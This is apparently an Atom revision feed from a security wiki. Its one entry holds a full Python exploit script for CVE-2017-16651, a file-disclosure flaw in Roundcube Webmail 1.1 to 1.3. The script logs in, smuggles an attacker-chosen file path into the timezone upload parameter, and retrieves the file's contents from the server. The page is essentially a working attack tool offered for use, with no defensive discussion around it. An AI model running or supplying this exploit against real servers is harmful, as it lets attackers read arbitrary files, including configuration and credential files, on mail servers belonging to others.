<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Roundcube_Webmail_1.2_%E6%96%87%E4%BB%B6%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E</id>
	<title>Roundcube Webmail 1.2 文件泄漏漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Roundcube_Webmail_1.2_%E6%96%87%E4%BB%B6%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Roundcube_Webmail_1.2_%E6%96%87%E4%BB%B6%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-21T02:19:05Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Roundcube_Webmail_1.2_%E6%96%87%E4%BB%B6%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E&amp;diff=1265&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Roundcube Webmail 1.2 - File Disclosure  # Date: 09-11-2017 # Exploit Author: stonepresto # Vendor Homepage: https://roundcube.net/ # Software L...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Roundcube_Webmail_1.2_%E6%96%87%E4%BB%B6%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E&amp;diff=1265&amp;oldid=prev"/>
		<updated>2021-04-08T09:34:59Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Roundcube Webmail 1.2 - File Disclosure  # Date: 09-11-2017 # Exploit Author: stonepresto # Vendor Homepage: https://roundcube.net/ # Software L...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Roundcube Webmail 1.2 - File Disclosure &lt;br /&gt;
# Date: 09-11-2017&lt;br /&gt;
# Exploit Author: stonepresto&lt;br /&gt;
# Vendor Homepage: https://roundcube.net/&lt;br /&gt;
# Software Link: https://sourceforge.net/projects/roundcubemail/files/roundcubemail-beta/1.2-beta/&lt;br /&gt;
# Version: 1.1.0 - 1.1.9, 1.2.0 - 1.2.6, 1.3.0 - 1.3.2&lt;br /&gt;
# Tested on: roundcube version 1.2-beta&lt;br /&gt;
# CVE : CVE-2017-16651&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
# Reference: https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1&lt;br /&gt;
# https://github.com/stonepresto/CVE-2017-16651&lt;br /&gt;
# Exploit Author: stonepresto&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import re&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
URL=&amp;quot;https://127.0.0.1/&amp;quot;&lt;br /&gt;
USER=&amp;quot;user@example.com&amp;quot;&lt;br /&gt;
PASS=&amp;quot;password&amp;quot;&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    s = requests.Session()&lt;br /&gt;
    r = s.get(URL,params={&amp;quot;_task&amp;quot;:&amp;quot;login&amp;quot;},verify=False)&lt;br /&gt;
    token = None&lt;br /&gt;
    for line in r.text.split(&amp;quot;\n&amp;quot;):&lt;br /&gt;
        if 'name=&amp;quot;_token&amp;quot;' in line:&lt;br /&gt;
            token = line.split(&amp;quot;value=&amp;quot;)[1].split('&amp;quot;')[1]&lt;br /&gt;
            print(&amp;quot;[+] token: %s&amp;quot; % token)&lt;br /&gt;
    if token is None:&lt;br /&gt;
        print(&amp;quot;[!] unable to retrieve token&amp;quot;)&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
    data = {&lt;br /&gt;
        &amp;quot;_token&amp;quot;:token,&lt;br /&gt;
        &amp;quot;_task&amp;quot;:&amp;quot;login&amp;quot;,&lt;br /&gt;
        &amp;quot;_action&amp;quot;:&amp;quot;login&amp;quot;,&lt;br /&gt;
        &amp;quot;_timezone[files][1][path]&amp;quot;:sys.argv[1],&lt;br /&gt;
        &amp;quot;_url&amp;quot;:&amp;quot;_task%3Dlogin&amp;quot;,&lt;br /&gt;
        &amp;quot;_user&amp;quot;:USER,&lt;br /&gt;
        &amp;quot;_pass&amp;quot;:PASS&lt;br /&gt;
    }&lt;br /&gt;
    r = s.post(URL,params={&amp;quot;_task&amp;quot;:&amp;quot;login&amp;quot;},data=data,verify=False)&lt;br /&gt;
&lt;br /&gt;
    params = {&lt;br /&gt;
        &amp;quot;_task&amp;quot;:&amp;quot;settings&amp;quot;,&lt;br /&gt;
        &amp;quot;_action&amp;quot;:&amp;quot;upload-display&amp;quot;,&lt;br /&gt;
        &amp;quot;_from&amp;quot;:&amp;quot;timezone&amp;quot;,&lt;br /&gt;
        &amp;quot;_file&amp;quot;:&amp;quot;rcmfile1&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    r = s.get(URL,params=params,verify=False)&lt;br /&gt;
    print(r.text)&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    if len(sys.argv) != 2:&lt;br /&gt;
        print(&amp;quot;[!] Usage: %s &amp;lt;file-to-read&amp;gt;&amp;quot; % sys.argv[0])&lt;br /&gt;
    else:&lt;br /&gt;
        main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>